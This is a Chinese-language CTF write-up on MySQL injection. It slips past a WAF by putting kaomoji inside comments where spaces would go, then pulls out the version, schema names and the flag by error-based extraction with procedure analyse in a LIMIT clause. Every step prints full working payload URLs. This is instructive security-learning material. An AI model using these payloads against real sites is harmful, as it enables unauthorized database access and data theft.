mysql利用颜表情绕过waf注入

如今连sql注入都开始卖萌了 <(▰˘◡˘▰)>

例子：
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1
我们用普通的方式去尝试注入：

(1)http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1 and 1=1 #

页面显示：

Undeclared variable: 1and1

(2)http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/lalala=1/**/and/**/1=1/**/#

页面显示：

Undeclared variable: 1and1

看来后台把空格还有普通的注释都给过滤了，我又想到/**/之间可以随便加东西的，于是我就加了：颜表情

于是我这样注入：
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1'/*(｡☉౪ ⊙｡)*/and/*（/TДT)/*/1=1

然后看页面：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/*(｡☉౪⊙｡)*/and/*（/TДT)/*/1=1' at line 1

居然就这样绕过了那个防火墙，难道防火墙是强行让我们卖萌？简直了

(╬￣皿￣)凸

然后我们继续注入，我经过不断的尝试，尝试过程略 ㄟ( ▔, ▔ )ㄏ

最后我敏感的察觉到后端的查询语句是类似于这样构造的：

SELECT * FROM user WHERE id >0 ORDER BY id LIMIT 1,1

lalala传递进去的参数是接到了最后面，也就是我打下划线红字加粗的部分

于是我在谷歌里面搜索到这种注入的方法：

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1

procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

【1】于是我爆数据库的版本：
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/* (╯‵□′)╯︵┻━┻*/procedure/* (╯‵□′)╯︵┻━┻*/analyse(extractvalue(rand(),concat(0x3a,version())),1)

页面报错：

XPATH syntax error: ':5.5.18.1-log'

数据库名字:
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/* （/TДT)/ */procedure/* (*￣∇￣*)*/analyse(extractvalue(rand(),concat(0x3a,database())),1)/* (*￣∇￣*)*/

页面报错：

XPATH syntax error: ':rgvk8278b4utx6ei'

表名：
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/*(●'◡'●)ﾉ♥ */procedure/* ∑(っ °Д °;)っ*/analyse(extractvalue(rand(),concat(0x3a,(select/*（￣工￣lll）*/table_name/* (*￣∇￣*)*/from/* (*￣∇￣*)*/information_schema.tables/*(*￣∇￣*)*/where/*o(*≧▽≦)ツ┏━┓*/table_schema=0x7267766b383237386234757478366569/*
(*￣∇￣*)*/limit/* (*￣∇￣*)*/0,1))),1)

页面报错：

XPATH syntax error: ':#flag_this'

字段名：
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/*ヾ(=^▽^=)ノ*/procedure/* (*￣∇￣*)*/analyse(extractvalue(rand(),concat(0x3a,(select/*(*￣∇￣*)*/COLUMN_NAME/*(*￣∇￣*)*/from/*(*￣∇￣*)*/Information_schema.columns/*(/= _ =)/~┴┴*/where/*(┙>∧<)┙へ┻┻*/table_Name
=0x23666c61675f74686973/*ㄟ( ▔, ▔ )ㄏ*/and/*(*￣∇￣*)*/TABLE_SCHEMA=0x7267766b383237386234757478366569/*(*￣∇￣*)*/limit/*(*￣∇￣*)*/1,1))),1)

报错页面：

XPATH syntax error: ':flag'

爆数据：

这里有一点注意的地方，由于表名是#flag_this 里面有#，如果之间丢进去，那么mysql会将其当做注释，我们应该如此处理才好：

`%23flag_this ` 其中“`”这个符号是键盘上Tab上面Esc下面的那个符号

我们这样爆数据：
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/*（╯－＿－）╯╧╧ */procedure/* ∑(っ °Д °;)っ*/analyse(extractvalue(rand(),concat(0x3a,(select/*(/"≡ _ ≡)/~┴┴*/flag/* (→_→)*/from/* (≖ ‿ ≖)✧*/`%23flag_this`))),1)

报错页面是：

XPATH syntax error: ':SYC{S0_Happy_Y0u_ar3_0rz}'